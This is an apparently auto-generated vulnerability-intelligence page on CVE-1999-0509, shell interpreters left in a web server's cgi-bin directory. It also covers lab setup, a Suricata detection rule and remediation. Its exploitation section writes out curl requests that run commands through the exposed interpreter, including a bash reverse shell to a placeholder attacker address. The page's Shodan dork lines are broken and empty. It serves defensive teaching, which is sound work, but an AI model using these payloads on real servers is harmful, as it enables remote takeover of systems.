☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Perl logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 10 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-1999-0509

CVE-1999-0509 describes a critical server misconfiguration vulnerability with a CVSS score of 10.
📅 PUBLISHED: 1996-05-29 04:00 UTC 🔄 UPDATED: 2026-10-17 01:08 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: N/A (Configuration Issue - See Remediation)
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.89%
👁️
1.89% probability
47.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: N/A (Configuration Issue) — upgrade to patched release
CVSS VECTOR BREAKDOWN 10.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
10.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-1999-0509 describes a critical server misconfiguration vulnerability with a CVSS score of 10.0. The vulnerability arises when shell interpreters such as perl, sh, csh, bash, or other command-line executables are placed within a web-accessible directory, most commonly the cgi-bin directory. This configuration flaw allows remote, unauthenticated attackers to directly invoke the interpreter via an HTTP request and pass arbitrary commands as arguments. Successful exploitation results in complete compromise of the web server, allowing the attacker to execute code with the permissions of the web server user (e.g., www-data, apache), leading to data theft, system manipulation, and further network pivoting. This is not a flaw in the interpreters themselves, but a failure in secure server administration. Remediation focuses exclusively on correcting the server configuration to prevent direct web access to these system binaries.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Threat Level: CRITICAL
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Metric Value Description
Attack Vector (AV) Network (N) The vulnerability is exploitable remotely over the network without requiring any local access.
Attack Complexity (AC) Low (L) No special conditions or prerequisites are needed. An attacker just needs to find a misconfigured server.
Privileges Required (PR) None (N) The attack can be launched by an unauthenticated user.
User Interaction (UI) None (N) No user interaction is required for a successful exploit.
Scope (S) Changed (C) The exploit allows an attacker to break out of the web server's security context and execute commands on the underlying host operating system.
Confidentiality (C) High (H) The attacker can read any file on the system accessible by the web server's user, including sensitive configuration files, source code, and data.
Integrity (I) High (H) The attacker can modify or delete any file accessible by the web server's user, and can alter the behavior of the web application or the system.
Availability (A) High (H) The attacker can terminate processes, delete files, or consume resources, leading to a complete denial of service for the web server and potentially the host itself.

Deep Dive & Mechanics

The Common Gateway Interface (CGI) is a standard protocol that allows web servers to execute external programs (CGI scripts) to generate dynamic web content. A cgi-bin directory is a conventional location for these executable scripts. The web server is configured to treat any file in this directory as an executable program.

The intended behavior is for the server to execute a specific script (e.g., script.pl). The vulnerability occurs when a system binary, such as the Perl interpreter (/usr/bin/perl) or a shell (/bin/sh), is copied into the cgi-bin directory.

When this misconfiguration exists, the attacker's request no longer needs to target a specific CGI script. Instead, they can target the interpreter itself.

Attack Flow:

  1. Discovery: The attacker discovers that an interpreter, for example sh, is located at http://example.com/cgi-bin/sh.
  2. Request Crafting: The attacker crafts a URL that calls this interpreter and passes command-line arguments. Most shells and interpreters accept flags like -c or -e to execute a command string that follows.
  3. Execution: The web server receives the request for /cgi-bin/sh. Believing sh to be a valid CGI program, it executes it. The URL parameters (e.g., ?-c'id') are passed as command-line arguments to the sh process.
  4. Compromise: The sh interpreter executes the supplied command (id) on the underlying server. The output of the command is then returned in the HTTP response to the attacker.

For example, a request to http://example.com/cgi-bin/sh?-c'ls%20-la%20/' would cause the web server to execute /var/www/cgi-bin/sh -c 'ls -la /' and return the root directory listing of the server.

Vulnerable vs. Patched Code

This vulnerability is not a code flaw but a configuration error. Therefore, we compare a vulnerable server directory structure against a secure one.

Vulnerable Configuration: In this setup, a copy of the bash shell interpreter has been incorrectly placed inside the web-accessible cgi-bin directory.

/var/www/
├── html/
│   └── index.html
└── cgi-bin/
    ├── script.pl
    └── bash       <-- VULNERABLE: System interpreter is web-accessible

Secure Configuration: In a secure setup, interpreters reside in standard system paths (/usr/bin, /bin) and are NOT in any web-accessible directory. The CGI script itself references the interpreter via a "shebang" line (#!/usr/bin/perl). The web server is configured to execute scripts in cgi-bin, but the interpreters themselves are not directly callable via a URL.

/var/www/
├── html/
│   └── index.html
└── cgi-bin/
    └── script.pl  <-- SECURE: Only approved scripts are present

# Contents of /var/www/cgi-bin/script.pl
#!/usr/bin/perl      <-- Script calls the system interpreter, which is not in a web root
print "Content-type: text/html\n\n";
print "Hello, World!";

Exploitation & Lab Setup

Lab Setup:

  1. Install a web server like Apache: sudo apt-get install apache2.
  2. Enable the CGI module: sudo a2enmod cgi.
  3. Configure a cgi-bin directory in your Apache virtual host configuration.
  4. Introduce the vulnerability: Copy a shell interpreter into the cgi-bin directory.
    sudo cp /bin/bash /usr/lib/cgi-bin/bash
    sudo chmod +x /usr/lib/cgi-bin/bash
    
  5. Restart Apache: sudo systemctl restart apache2.

Exploitation:

An attacker can use a simple curl command to exploit this misconfiguration. This command invokes the bash interpreter and uses the -c flag to execute the id command, which returns information about the current user (typically the web server user).

# Execute the 'id' command
curl "http://localhost/cgi-bin/bash?-c'id'"

# Expected Output:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

To achieve a reverse shell, an attacker could use a more complex payload:

# Execute a command to establish a reverse shell to attacker's IP 10.0.0.5 on port 4444
curl "http://localhost/cgi-bin/bash?-c'bash%20-i%20%3E%26%20/dev/tcp/10.0.0.5/4444%200%3E%261'"

Detection Engineering

Detection can be achieved by monitoring HTTP traffic for requests that attempt to directly call common shell or script interpreters within a cgi-bin path.

Here is a Suricata rule designed to detect this activity. It looks for GET or POST requests to URIs containing /cgi-bin/ followed by a common interpreter name, often accompanied by command execution flags.

alert http any any -> $HTTP_SERVERS any ( \
  msg:"ET EXPLOIT Possible CVE-1999-0509 Shell Interpreter in CGI-BIN"; \
  flow:to_server,established; \
  http.method; content:"GET"; \
  http.uri; pcre:"/\/cgi-bin\/(perl|sh|bash|csh|ksh|tclsh|zsh|python|php)/i"; \
  http.uri; pcre:"/(\?|\&)(-|%2D)(c|e|s)/i"; \
  reference:cve,1999-0509; \
  classtype:web-application-attack; \
  sid:19990509; rev:1; \
)

Rule Breakdown:

  • alert http any any -> $HTTP_SERVERS any: Triggers on HTTP traffic to servers defined in $HTTP_SERVERS.
  • http.method; content:"GET";: Focuses on GET requests, though this can be expanded to POST.
  • http.uri; pcre:"/\/cgi-bin\/(perl|sh|...)/i";: Uses a regular expression to match requests to a cgi-bin directory that call a known interpreter.
  • http.uri; pcre:"/(\?|\&)(-|%2D)(c|e|s)/i";: Looks for common command execution flags (-c, -e, -s) in the query string, which are strong indicators of an exploit attempt.
  • reference:cve,1999-0509;: Links the alert to this specific CVE.
  • classtype:web-application-attack;: Classifies the alert as a web attack.

Remediation & Mitigation

This is a configuration vulnerability, and therefore requires administrative action rather than a software patch.

  • Primary Remediation: Remove Interpreters from Web Directories: The most critical step is to audit all web-accessible directories (e.g., /var/www/, /srv/www/) and immediately remove any system binaries, shell interpreters, or any non-web-content executables. Interpreters should only reside in standard system paths like /bin, /usr/bin, and /usr/local/bin.

  • Principle of Least Privilege: Run the web server process as a dedicated, low-privilege user (e.g., www-data, nobody). This will limit the impact of a potential compromise.

  • Web Server Hardening: Configure your web server to only execute files with specific extensions as CGI scripts. Do not allow the execution of arbitrary files in the cgi-bin directory. For Apache, use the following configuration to restrict execution to .cgi and .pl files:

    <Directory "/var/www/cgi-bin">
        Options +ExecCGI -Indexes
        AddHandler cgi-script .cgi .pl
        Require all granted
    </Directory>
    

    The -Indexes option also prevents directory listing, reducing the information available to an attacker.

  • File Permissions: Ensure file permissions on cgi-bin directories and scripts are strict. The directory should not be world-writable, and scripts should be owned by a non-web-server user and only be executable by the web server group.

    # Set secure permissions for the cgi-bin directory
    sudo chown root:www-data /var/www/cgi-bin
    sudo chmod 750 /var/www/cgi-bin
    
    # Set secure permissions for a script within cgi-bin
    sudo chown someuser:www-data /var/www/cgi-bin/script.pl
    sudo chmod 750 /var/www/cgi-bin/script.pl
    
  • Regular Audits and Scanning: Use automated configuration scanners and file integrity monitoring (FIM) tools to regularly audit web server directories for unauthorized or misplaced executables.

  • Web Application Firewall (WAF): Deploy a WAF to filter incoming requests. A WAF can be configured with rulesets to block patterns indicative of this attack, such as requests containing shell commands or targeting executables in cgi-bin.

[!] This Threat Intelligence report was automatically generated by Valters IT (valtersit.com) Neural Engine.

{/* [Security Hash: 596658BFD3A746D08277CCE0] */}

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:\
http.title:\

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-1999-0509/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.